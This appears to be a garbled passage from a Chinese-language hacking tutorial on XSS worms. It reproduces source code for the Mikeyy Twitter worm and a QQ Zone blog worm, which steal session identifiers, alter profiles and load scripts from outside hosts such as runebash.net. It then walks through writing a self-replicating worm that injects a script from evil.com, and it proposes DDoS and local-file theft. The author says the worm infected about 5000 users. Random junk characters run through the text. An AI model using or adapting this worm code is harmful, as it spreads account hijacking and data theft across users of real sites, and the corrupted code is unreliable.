' `- [7 c* n( K0 c7 g2 B5 Y6 l# Z6 U 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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& V0 W7 A/ a* [ 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 5 w- G: z: @# j% R6 j. z. H. Q
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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( G8 D# N1 W$ ^. b9 u4 d 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 3 L8 |" J+ X9 t+ b
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; ; [" b# S4 S: z+ n! U U7 ^. a
0 F" z0 Y, d+ l* { 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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' l! S) D) T: o. F) {. J 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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8 ?" A2 G8 k) E# O$ T 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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2 l' o; B# w0 E 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24. 0 d7 f4 d: q! H, a; p* z
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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6 v; n0 N$ j! n9 t, [ 26. var updateEncode=urlencode(randomUpdate[genRand]); ! g6 C% o, g/ x( O
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27.
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28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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: |, l- \) e$ { 30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c); , ?( {) U1 I4 w' w
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32. var ajaxConn1= new XHConn(); " T4 C2 e' Y8 M, a3 V9 Q4 |
! F+ w Z" t$ F 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 7 G; c0 J3 f. w* B+ B" o* |
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35. var XSS=urlencode(genXSS); $ B+ r6 i( L. z4 L; X# L1 [
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38.
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39. } ;
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. i4 f- r- n, l1 k/ o 40. setTimeout(wait(),5250);
5 f3 i! [$ A: ]. p }; `复制代码QQ空间XSSfunction killErrors() {return true;}3 p# z0 d- C% g" C
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window.onerror=killErrors;" H( r! @$ l+ ^- r: f2 A. ]' S0 y2 X
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: {- `" `9 c& A8 M3 L+ }
var shendu;shendu=4;
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//---------------global---v------------------------------------------
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9 F! Y) b0 P1 _( ?8 H9 |) j4 N//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?; d5 z& M& i' c4 ?0 |+ Q
0 x" X( Z5 K: k# ]7 d- |# wvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";6 F% A% i3 V9 X6 C8 p
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var myblogurl=new Array();var myblogid=new Array();7 x; w! n; A. J
1 ]& l6 I, I | var gurl=document.location.href;3 ]; s; s2 n' d5 R/ ~
. A; p( @3 z- T- x/ j! c; z var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3);
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1 j$ q) v$ t! ~# f; o var visitorID=top.document.documentElement.outerHTML;
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5 d0 v. y7 g1 ]( T& Y0 Q var cookieS=visitorID.indexOf("g_iLoginUin = ");8 k# N5 R, Q9 f! F, Z1 s) e" e1 X+ D+ f
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visitorID=visitorID.substring(cookieS+14);
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+ P. }- {! C( S cookieS=visitorID.indexOf(",");7 T6 J! k1 ~: J8 n; o' I
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visitorID=visitorID.substring(0,cookieS);6 L+ R) g- T2 @1 }+ ?$ D
% `& b: r3 n3 V/ |& J; T get_my_blog(visitorID);
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+ `* M2 w# G$ G8 D" I( t) I" ? DOshuamy();
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v5 k" G- t$ s9 c. a b
//挂马
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4 p+ \4 ?, V; t. ]' Bfunction DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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$ Q; B% p' u, hssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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( X* x4 [" ]* b" v4 a2 L, V//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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% h* q2 T+ c P$ @$ |, c& i2 G; Sfunction get_my_blog(visitorID){* }- Z& h: b- D& c
( T7 t+ m; f% k9 j. n% R- q" M6 c6 o! R userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";4 S# ?- A9 S. j$ O% M5 S
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象5 o& y9 n6 Y- A4 @& |
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if(xhr){ //成功就执行下面的
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* e/ }+ ^( }2 ?! a9 B+ A% z6 Z xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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z' g) [# G& I3 x4 f xhr.send();guest=xhr.responseText;
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; @" Y& ]2 t1 ]9 U, H get_my_blogurl(guest); //执行这个函数1 e8 D/ Y) d' v) }! x5 c
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}
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}
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//这里似乎是判断没有登录的
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function get_my_blogurl(guest){; Y# A8 @( t1 e) @! N
3 y, k; v6 d' f. F+ A4 K# @ var mybloglist=guest;
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var myurls;var blogids;var blogide;1 @9 K. ?+ H( f2 B' y$ d% g& F
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for(i=0;i<shendu;i++){
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2 K. V! B( e9 u8 ^ myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了: }$ j8 j. f0 I; W
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if(myurls!=-1){ //找到了就执行下面的; c% n3 n$ I( p3 r/ H* \3 Q
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mybloglist=mybloglist.substring(myurls+11);4 y* p1 W" J4 `; e9 K+ @+ U
0 t: H; S& e( \- y+ K) _" I myurls=mybloglist.indexOf(')');
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myblogid=mybloglist.substring(0,myurls);* }* j0 h: L* E# s) J3 J' R
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}else{break;}
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get_my_testself(); //执行这个函数& Y% }# y% s' |' H/ h+ L6 }. R
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}; p8 _2 P$ A# b8 S
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//这里往哪跳就不知道了
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function get_my_testself(){
, H7 I+ K4 y9 i; n; y+ o% T! K3 c2 C' s3 @1 H
for(i=0;i<myblogid.length;i++){ //获得blogid的值9 q9 P0 ~7 {5 r9 R8 d; t; K
- _* m E$ j- b4 K$ H* z, z var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
& h; {' ]( {, R1 h
% y# O0 b' V" T var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象% v' w3 ]4 `/ ?2 k9 l: x! A! f; B
, s( Z1 c4 v T( j5 N1 {
if(xhr2){ //如果成功: o/ D4 c6 x/ U2 y7 F) @
" M1 Z4 U) S3 f+ ~$ ]" u xhr2.open("GET",url,false); //打开上面的那个url
1 I; F" }- G0 X# S& B# f: V2 g+ V1 B+ p$ c
xhr2.send();
( {+ |1 q* ]3 ]& ?% _& w- W" c" @
guest2=xhr2.responseText; C6 z; U; B3 L8 k7 d$ L
5 M! g9 H' k1 Z9 l& F1 ^+ [- ?) n
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?& U/ |: t' ~" r) K% i
$ a7 y( l7 P( N4 \) i var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串8 O) q7 {3 e5 `
! q/ m9 N* Z4 p, Q7 p
if(mycheckmydoit!="-1"){ //返回-1则代表没找到
* T+ _4 E2 P" X/ u1 q4 O5 q8 @5 v' q3 O/ {4 ]7 e$ Z. I2 J
targetblogurlid=myblogid; % v' Z4 P4 f' z
5 _2 C& b: C" ^; n1 Z8 X* Q; ? add_jsdel(visitorID,targetblogurlid,gurl); //执行它
# \+ T% v" I# A9 u* \+ J
8 N5 b9 p9 J% {: d# m3 R4 N break;4 W0 w. q( N/ ~) f' N& t1 `( M
1 d% q2 Y7 f$ R. @- }& F- }: U }
2 Z- K: V. n, T" }& M# `6 C
6 ^; G* l* ^4 J if(mycheckit=="-1"){
; g- Z9 q% M. S9 F, J; [6 A" K, z( F# s
targetblogurlid=myblogid;
. T" K+ J) x: l9 Q$ b) v k' j* d- ?% t* Y3 s. k2 u2 j
add_js(visitorID,targetblogurlid,gurl); //执行它
6 {, Y( V6 C. G t2 ^# e$ X
9 W7 e6 b1 h5 ?- a+ T break;
0 n' w( I1 Q2 q' ~# D7 d8 o6 w$ g( _1 Q5 Z; j% u `
}& O0 K2 `) R- ~0 _9 n. t
; m* L! ~3 Q. I. h
} . e9 f- b% t& r9 G! a$ z
. f! f; M; l( z}
r, D* |2 _1 [2 _9 [. y: f! _# _: d6 p8 P+ u+ R; E- }! o
}2 e& v$ o9 T9 d j) O- P& [
2 i9 I; _+ Z2 _3 ~7 u8 U) ^% D" D, |4 _) k4 Z/ n1 N# n
1 T: M2 l& U5 `9 v; x//--------------------------------------
6 ?& ~* i+ v! O" W: U. C& M
4 \. `. h: z/ ]5 n//根据浏览器创建一个XMLHttpRequest对象3 y5 ^0 Q- Z% I) K4 D8 E
. ~$ |) v' d6 T, {0 @0 ]3 }) Pfunction createXMLHttpRequest(){
% X& _' x# k) R/ y$ O4 b' S- v* [; p% B
var XMLhttpObject=null;
q( _8 K& p% D- D2 J; G6 v1 N. w
- n5 a& l6 ?! @! W7 ~ if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
& t6 |+ P3 H0 {' L+ D& m7 M6 Z% j* q
, e$ ]; q- U. V" t" W. R else 1 v# ~9 k5 {1 z
" ]6 K) p5 E* ~ m' V2 k! {
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; 1 S& w+ ~3 w) J+ C5 J, v$ W
4 F: B! |. M8 t- Y# r5 Q for(var i=0;i<MSXML.length;i++)
4 ?6 C$ ?* q- M. W) z9 _- V1 s8 |+ ?; S* w: Y$ |8 o
{ # X% P! D3 b) W8 D
7 ^9 x( [+ U& {/ R# Q& j try " y( }( M8 v. n' P5 |% c& H
4 `- o% @& z; ]! n$ n' u5 g { 7 t, ^9 K7 B9 m9 ~& q
5 i* {+ I, G" B+ Y! L5 ^2 b
XMLhttpObject=new ActiveXObject(MSXML); 0 d; Z6 h+ u9 Z/ _1 L2 P
% W1 z! v! `! Q, ~ break;
5 a5 L% w3 o+ z' n/ I
- O5 V0 N' w, O1 ?1 |- [ } 5 e; ~- `2 @! w9 G
. ~4 z# }4 J- \& V" r catch (ex) {
, K& x7 e1 ]3 @" d2 W, [+ d0 H# h$ n* @) K' l
}
8 u' R6 n( |3 L' X/ K
4 o0 M- }/ V2 V- g, A } $ g# J& r7 C6 m! [7 ?' _7 X" M
3 A% C* J( v2 M
}
8 e- r" w+ g/ O; g- F: M4 s( I, k! y2 D4 | u8 U( h3 B; U" h
return XMLhttpObject;
: ?) t6 ]( l$ D* S0 l, {! ?. k, G4 }' @' m
} " G3 p1 k, y4 S! K7 |. G
% L9 W3 \: D6 D
, j3 p+ j( w8 l* w! F& |8 S4 t) W1 L- [' i) @/ Z0 l
//这里就是感染部分了9 I/ B* U2 V" _& P. W- b
/ L4 v H3 b: a: A7 m% I' I# u+ s# ]function add_js(visitorID,targetblogurlid,gurl){) `' }# Q1 X. v
1 t) I- ?- e( W3 Y# E Q+ h& [
var s2=document.createElement('script');" [! o7 k) _. c, J: P) u3 V
& C- T8 a2 y/ m( n5 f6 y5 h
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();; }2 {3 ~8 w& u
7 m( j7 }. g9 X& _6 o
s2.type='text/javascript';% d$ x: _* ]2 }* n. ]& C
5 b; e5 Y+ D' z! O; B& N Z& {
document.getElementsByTagName('head').item(0).appendChild(s2);
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6 s! P% O) U3 b9 [}
/ g, d3 u3 J# q8 }
r$ ~! P1 x) j3 [ I" R$ B# m+ R* K& }. i% k" n
" d, {/ Q# j* i- d1 K' g, R Jfunction add_jsdel(visitorID,targetblogurlid,gurl){3 H) [, x7 s+ H0 r4 R$ a8 E" y
$ U7 H# q) r4 j. @6 k0 a
var s2=document.createElement('script');
8 a& F2 Z8 ~3 Y2 P D, q
. q( h( p' v1 ~3 k& L o7 ^0 b4 Zs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();3 N: c2 }9 t) Z* o" H, t' C
3 w* Y7 m J+ E& y, B5 `6 _8 C4 T
s2.type='text/javascript';
- W J: [5 T( w0 C3 z! w% |2 y2 B. h4 Y; Z1 p
document.getElementsByTagName('head').item(0).appendChild(s2);
6 P4 l/ Q5 X- \/ d1 U, v* u7 |$ x4 Y
}
0 ^' E. S, }9 n( ^4 x l0 D+ L复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
9 h* a2 H4 Q: ^! Q) L1 |5 y1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)+ }; }' i/ H4 W0 ?2 L0 \
* x. I* |: m% n/ M! t
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
: l+ ~1 p4 x; j9 M
0 n0 {( A9 a1 ?3 A5 U" `' k综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
7 y, A6 w4 B2 X+ s' j3 C0 Y0 {
3 R- J- d+ b* l! z# C8 _
* D" E7 E+ l2 \ s9 @- i \1 y下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
+ U8 T' l( k" I5 P% f* R' x) U0 j6 x, ^1 a! M
首先,自然是判断不同浏览器,创建不同的对象var request = false;% Y) J% i3 ]: B
, q8 a f) N, F2 o& {
if(window.XMLHttpRequest) {
$ v* W/ L. D! a/ [3 I2 C
- k0 q+ J J" x( y+ [/ \8 ~request = new XMLHttpRequest();
3 J7 D' @% |1 T/ R; S# h0 M$ o$ D9 |5 E' y' x! b/ U) ^" [9 ^
if(request.overrideMimeType) {
: y q6 p0 W7 I7 q' t; q$ u7 C+ D' a% Q
request.overrideMimeType('text/xml');
& J1 G" c3 i3 G2 v5 G) }( C) I1 u- f1 Z
}6 D/ S, y" F: N! I3 ^
% x% e) d( J1 h} else if(window.ActiveXObject) {
5 U, H& l4 t0 f' @: b8 m
5 I3 ?9 l# g0 S, q; nvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];9 v- H# o8 Q' M/ M; ]& N
, r @+ }& o# B& k
for(var i=0; i<versions.length; i++) { S7 g5 ?" u5 v8 d
! P2 E. b0 v; E
try {8 ^/ J" G( F, K. Y9 b
) z/ J' A& ^9 `( `5 B' @
request = new ActiveXObject(versions);8 z6 y" f0 P# k
( U% C" }5 V$ K
} catch(e) {}
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1 e8 C, Q0 y& A0 z}" {- W4 ]+ f$ S3 N' S/ u% o! i
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}" j4 ~% L3 A! o+ X. n! ^
8 X) [4 R/ ~+ ~" t$ X' J+ R
xmlHttpReq=request;
) o( D9 C8 w- A6 R3 {复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){: G& s n: o2 ~' z& q5 y- x
: [- s% l2 h2 }
var Browser_Name=navigator.appName; N$ O7 ?5 Z2 y0 L
; Y" u2 D* u1 n& y/ I: {
var Browser_Version=parseFloat(navigator.appVersion);" O6 G& R9 b6 X8 _
& y. a1 L, K, M. _; j o" t4 R var Browser_Agent=navigator.userAgent;* s6 ~$ E2 {% e( o* k+ ?% H1 x
& _( A V, B4 }) f' O
( R+ |. c8 D- ~5 x2 N5 j1 L. _. a7 r6 p$ K0 L1 }
var Actual_Version,Actual_Name;. f& V6 b( G: X3 c- Q8 R
6 K) e. C* d2 \: Y1 Y
: V0 `, u$ a6 `9 B
# z# k6 o4 p; s2 b6 Y- q var is_IE=(Browser_Name=="Microsoft Internet Explorer");
- J4 Z' x8 M0 P4 W2 F! b/ v: n" l( \2 p/ [
var is_NN=(Browser_Name=="Netscape");
) B$ q s- b# f D, c) c
7 _8 |/ y8 n# v4 C9 c7 C, w9 \# T var is_Ch=(Browser_Name=="Chrome");0 \) l/ ~- z6 i- ]' s) o
. L( x. {0 k. v; ?: R
" j& t8 E0 h! H$ ?9 z/ U$ e
8 z5 H9 a2 |% ~& X( j5 w9 x. L8 }6 I6 R if(is_NN){' \/ P) _- ~3 S* q \+ r! ?
% w0 T6 p: R$ W if(Browser_Version>=5.0){
5 v2 e- d# G. U. L' J1 T. }& D+ [6 P8 k+ x
var Split_Sign=Browser_Agent.lastIndexOf("/");: p& q; _/ M' p/ V' {
# u) M D' n1 N0 V8 \% r
var Version=Browser_Agent.indexOf(" ",Split_Sign);
' ]& ^8 m% n6 ]7 E4 L4 X2 W
/ O8 }) ]* B+ R, Z7 I var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
+ r8 t$ q% v' m, f% z( e k
& F! M9 w: T( ~1 ]' O& u
7 P9 |; m+ A0 h' f- ]. A6 l& d
- D- x0 [# @% F, G5 C Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
# q, m0 k" B+ _( }& i6 y M4 c {
* a A+ q. Q# H5 @4 G: _ Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
' U3 e3 g8 g5 x9 d+ r: c) i# S' m9 J( Y. _! f e$ J7 W
}% t; k# Y! j( ~' K1 M) y/ m( z
3 c6 w8 W8 i5 i+ {+ L
else{( v: q1 }# J. c7 u5 G+ w
% C( Y7 t3 y9 K. o3 X) t( v Actual_Version=Browser_Version;( s1 n: \& Z9 B5 ]3 b# s
; i9 q5 y' U( J2 o% b- y/ a
Actual_Name=Browser_Name;
X7 {& c8 t4 [+ v1 |& W
3 B- L7 n+ N" Q) d' H# T }, t9 v" @: }; t* p+ L% F% v4 ?9 _4 p
: g0 T' c6 W8 m/ i# F
}. H* K2 d! ^$ ]/ @$ H! e+ `
% Q7 U5 f8 }# ~' ?0 `( E o9 f# {8 \ else if(is_IE){; P G* |3 W) K e- D' q7 Q. R+ Y
1 {& P* \* V# g
var Version_Start=Browser_Agent.indexOf("MSIE");
5 \1 h2 |1 Y: d( p. q) Q) x# t8 w9 b j m7 h) W% N
var Version_End=Browser_Agent.indexOf(";",Version_Start);4 K, ^$ J, F; p5 }' w" b
% ?; P" g3 J8 F( |( I h Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
. I; Z. J9 s- M- q# S' f8 A0 N) ]
+ A! }9 z% i3 d0 H# E. v Actual_Name=Browser_Name;
5 C+ Q3 n. O3 B7 V W1 Y) _# Z0 V9 w( c
9 T- U. x) q; f& V
* v1 o" ^- p$ d) u if(Browser_Agent.indexOf("Maxthon")!=-1){4 ]4 J) g% ?3 {* P3 X& N+ r" }
* l+ ^) M9 K! T Actual_Name+="(Maxthon)";1 [( L3 V5 B/ ^+ s$ q2 f! L- {
+ O8 |6 p* w9 v/ l }6 B& r7 f+ ^$ L$ B8 E( l k5 O- Q
( Z( Q) [, ]* W; R0 ^
else if(Browser_Agent.indexOf("Opera")!=-1){
3 S& F. M4 e' x4 g5 c- C9 `
+ j& Z+ x8 J$ ~ S1 \3 e+ E+ d Actual_Name="Opera";# Z4 f% K9 @; ?+ [' ?" p/ P
! T) e3 A, N8 Y1 T; [/ E# r
var tempstart=Browser_Agent.indexOf("Opera");1 V, F& y% L7 w0 z+ H
4 S4 O# {& x; X: x var tempend=Browser_Agent.length;
. @# c9 [ ~/ ~% p' g
( H- D2 V1 C1 K; l1 W" }# i- ]8 j Actual_Version=Browser_Agent.substring(tempstart+6,tempend), [) N; U) y; r1 C5 g# R6 ~: W
& D% t9 Y/ } T: ~, Y! T
}' L8 X/ ~2 J( }- D* C( Q) W
% l3 G/ Y3 |9 \) ?7 ~% K: G" i
}) w6 W3 o2 Z: T2 y! n! m
1 i H4 J. X( c. m
else if(is_Ch){( ~; B# I% y, F+ |0 x1 R; l
7 |: d& r* s- D6 V( F. _ var Version_Start=Browser_Agent.indexOf("Chrome");3 H+ x; x$ A+ g T. R/ m0 H+ L
; r! x% h/ M5 ?/ x6 L var Version_End=Browser_Agent.indexOf(";",Version_Start);) i1 T( v7 [! q7 O# h& c- R
. q: b4 p1 U/ d( _
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)5 |, X* C$ E2 H6 N
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Actual_Name=Browser_Name;
$ H! d$ ^! {1 |9 V5 E+ }) z
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2 C+ Z! L5 T- @! b; \% L7 N% v- B# z
if(Browser_Agent.indexOf("Maxthon")!=-1){
- p8 n3 N, W$ _- e: z0 x* H
+ e* A+ n, u- } Actual_Name+="(Maxthon)";
3 s- A/ W# z% y6 G5 O/ ~% U3 q, R# X$ j% j& Z# C1 A$ @
}# {' J' R; s. L6 W8 X: N# H/ P/ S
6 y; N6 c) S/ Y5 J9 G else if(Browser_Agent.indexOf("Opera")!=-1){+ Y6 N8 u8 @* F/ W2 K% p& d8 ?
* |9 F2 X0 i, H* t
Actual_Name="Opera";# z( U" [! X* e. H0 E5 @5 x
+ O5 V6 n6 ?1 [& P* ~8 l var tempstart=Browser_Agent.indexOf("Opera");! M C2 ?- c# m+ I
! \4 R, y1 j# T2 T9 Z var tempend=Browser_Agent.length;
) |+ P }9 S* b2 X* [5 ?) P/ \( J I4 r* t6 s! ` A8 ]
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
8 c7 |3 k- t' P$ T
5 \' ~( S# M# P" f3 v }$ n+ Y; n; ?% C2 E" v* Y3 C
' i$ w' U8 a0 r' s2 b
}
, i1 R# t% U7 H/ j5 {5 q4 t1 X, U# n% G* v6 o
else{* a4 F0 `: r/ k3 d
U$ M5 M: H" {/ b; N* B" @$ X Actual_Name="Unknown Navigator"
3 _0 x, _' i1 ^. r, o7 v& L5 N+ R2 D* [
Actual_Version="Unknown Version"8 P3 I: Z3 f- G; Y5 p) @1 Y7 B& J
; f s9 {! }# D5 U# i
}
# r. B% J5 m& n8 h6 w0 @ l3 X. c0 \9 U
& T5 a [7 Y( {$ X1 f5 U
7 V# Q+ R( B2 [' `3 [4 h/ l, u
- t5 E1 |% ?7 X3 ~ navigator.Actual_Name=Actual_Name;
) U; N" I$ E* r2 ~ S) T8 p
2 \1 }6 ~0 o( w, ?, `, y, r navigator.Actual_Version=Actual_Version;7 h+ l6 Z: H, a2 E
8 |1 _) U! o1 S# r5 A# Q
) L( o9 g# \3 j# f P) `
: J$ z. W) G7 g8 o: x this.Name=Actual_Name;" |6 V# s! J) v
7 q) U: o* c" C' J
this.Version=Actual_Version;
* _! p' S" I# j! K* B, Y! P
% z6 d: L( t |8 F2 y) \4 u }6 k9 l) P K3 c# m
& p D+ i J) p/ Z/ z6 j browserinfo();3 c0 B& s% j- x4 q
! U' W( |4 ^. \. G9 H9 e2 _ if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}- u! t$ x4 c, I! @6 y$ k; f
0 b0 o; _* ?. C! j* Y if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# w7 U1 w. G: Y8 _
6 D6 s6 n9 \# t5 w5 I! C if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
* c# ?- i { d8 I6 N1 e( b; k0 o1 g/ P, [0 e
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
, U7 c5 \+ R" j7 c: n. j复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
% z# U1 ^; f6 E' B: g! ^) p复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
a- }. s% I! t$ B' @4 ]复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
9 V! ^/ x+ \: O
4 n N) ]: O+ d0 m# Y& r; zxmlHttpReq.send(null);5 V+ l+ E6 I6 L5 l
: m! w9 k) [1 t: J! r9 U# U" g
var resource = xmlHttpReq.responseText;
l0 L3 v; v% S8 T t% x' b+ p) i9 U+ g) w# a3 b0 r% _3 l0 m
var id=0;var result;: A' w7 w+ ]1 [9 {, p& Z
8 J6 m3 D" h7 @/ P$ C
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
& v% z4 J* g% M. L w5 L
) c1 E3 d( |2 U5 ]while ((result = patt.exec(resource)) != null) {. S" ?9 [; u5 C' n' Q0 \. W
+ ~, x3 V/ K% }; Y& F& M
id++;. ]/ w$ ]9 ?$ m, x) Z$ Q: d
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.3 }' m8 I1 H" c7 P& s. I
, J* T: \2 b# K6 yno=resource.search(/my name is/);5 e" Q, T m& v! @6 Z/ e" E0 Z
% F- A# {( X/ J% |$ ?2 V+ J4 Uvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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: w4 k( q% K, _var post="wd="+wd;! P+ [3 a: E Q& m/ ~( g
4 H0 M& z( I' Z% LxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.( p6 h3 u1 Z" h, g) f7 T7 b& T
4 o8 m" n3 _5 v" v4 [1 WxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");9 h# E1 r/ ^. h/ S u( t4 X+ }
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xmlHttpReq.setRequestHeader("content-length",post.length);
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- z7 Z7 W0 n4 h8 E9 h" `$ k6 TxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");- ~( v; {9 W) C! ~: n
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xmlHttpReq.send(post);
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}
& l" Z o0 I. S3 D复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{& N3 A2 g( K" k* @5 h& D
7 N+ L1 ^5 z* W J7 T2 yvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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r& d# }9 D9 n. Y9 M5 jvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.1 \3 L! J4 ]' H7 S4 K+ B0 Q/ K
( s6 c$ D6 g7 N( H% ]9 M6 ^8 q/ fvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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+ V6 k/ l$ S3 A3 J* ~* t0 E2 o8 V6 pxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");8 ~. d M) W: {5 P. {/ V( \
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xmlHttpReq.setRequestHeader("content-length",post.length); ; Q# A/ X5 E$ F) b7 I* f8 L6 U
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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& n3 d8 s; a' xxmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.; V' h7 }' R# H. ?0 Q4 }
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
! g5 k. s( \8 P/ _+ h操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.' g$ ~/ o; T& H$ ^. [) x
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0 l( H2 c- S( [* A本文引用文档资料:
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* P* i. X; ^( \. h"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)9 b: U1 l8 _( J" d8 r
Other XmlHttpRequest tricks (Amit Klein, January 2003)
